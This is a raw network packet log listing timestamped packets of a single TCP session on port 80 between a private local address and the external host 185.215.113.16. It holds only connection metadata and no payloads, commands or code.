Nov 1, 2024 12:14:38.374903917 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374907970 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374916077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.374932051 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.374962091 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.525945902 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.525964022 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.525980949 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526050091 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.526094913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.526633024 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526644945 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526655912 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526667118 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526679039 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526686907 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.526696920 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526710033 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526721954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526722908 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.526736975 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526743889 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.526750088 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526762009 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.526766062 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526778936 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526791096 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.526793957 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.526819944 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.526838064 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.527204037 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.527223110 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.527235031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.527247906 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.527252913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.527267933 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.527298927 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.527976990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.527996063 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528011084 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528023005 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528027058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528037071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528048992 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528048992 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528064013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528076887 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528078079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528090000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528100014 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528104067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528117895 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528121948 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528135061 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528147936 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528150082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528160095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528177023 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528198957 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528578043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528589964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528604984 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528628111 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528630018 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528644085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528650045 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528656006 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528669119 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528677940 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528682947 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528697968 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528704882 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528712988 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528722048 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528754950 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528780937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528793097 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528805971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528820992 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528824091 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528834105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528846979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528851986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528861046 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528872967 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528878927 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528886080 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528899908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528903008 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528913975 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528922081 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528929949 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528938055 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528944016 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.528969049 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.528995037 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532510996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532547951 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532558918 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532562017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532574892 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532587051 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532589912 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532599926 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532609940 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532613039 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532628059 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532638073 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532643080 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532655954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532665968 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532670021 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532679081 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532684088 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532697916 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532711029 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532711983 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532730103 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532732010 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532746077 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532757998 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532758951 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532772064 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532783031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.532803059 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.532820940 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.533126116 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533138037 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533176899 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.533286095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533299923 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533312082 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533324957 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533334970 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.533339977 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533353090 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533364058 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.533365011 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533380032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533389091 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.533394098 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533407927 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.533409119 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533422947 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533435106 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533444881 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.533447981 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533461094 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.533473969 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.533489943 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.533505917 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.643032074 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.643100977 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.680694103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680757999 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.680794954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680816889 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680829048 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680846930 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680849075 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.680859089 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.680875063 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680879116 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.680890083 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680900097 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.680922031 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.680922031 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680937052 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680949926 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680955887 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.680969954 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.680974007 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680988073 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.680999994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681046009 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681046009 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681056023 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681060076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681073904 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681109905 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681109905 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681130886 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681143999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681154966 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681174040 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681178093 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681188107 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681201935 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681226969 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681246042 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681257963 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681268930 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681282043 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681282043 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681298971 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681307077 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681329966 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681340933 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681344032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681359053 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681371927 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681395054 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681401014 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681412935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681425095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681438923 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681456089 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681468010 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681468010 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681483984 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681499958 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681529999 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681531906 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681545019 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681564093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681571960 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681577921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681611061 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681627035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681638002 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681642056 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681669950 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681678057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681689978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681693077 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681704044 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681711912 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681716919 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681730032 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681745052 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681760073 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681777000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681807041 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681818962 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681821108 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681830883 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681843996 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681859970 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681864023 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681878090 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681878090 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681891918 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681904078 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681912899 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681922913 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681929111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.681947947 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681969881 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.681978941 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682003021 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682015896 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682028055 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682040930 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682045937 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682068110 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682090044 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682111979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682123899 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682136059 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682147980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682156086 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682167053 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682180882 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682190895 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682210922 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682223082 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682224035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682233095 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682250977 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682270050 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682275057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682287931 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682301044 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682322979 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682332039 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682364941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682375908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682389975 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682414055 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682421923 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682441950 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682456970 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682475090 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682488918 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682492018 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682502985 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682512999 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682539940 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682544947 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682562113 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682579994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682591915 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682591915 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682604074 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682615995 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682637930 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682646036 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682656050 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682668924 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682681084 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682694912 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682723999 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682745934 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682763100 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682786942 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682786942 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682801008 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682811022 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682815075 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682841063 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682854891 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682857990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682871103 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682882071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682924986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682924986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.682926893 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682940960 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682955027 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682971954 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.682984114 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683000088 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683010101 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683022022 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683036089 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683062077 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683068991 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683088064 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683109045 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683132887 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683134079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683161974 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683186054 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683199883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683229923 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683243036 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683254957 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683268070 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:38.683274031 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:38.683319092 CET	49979	80	192.168.2.7	185.215.113.16
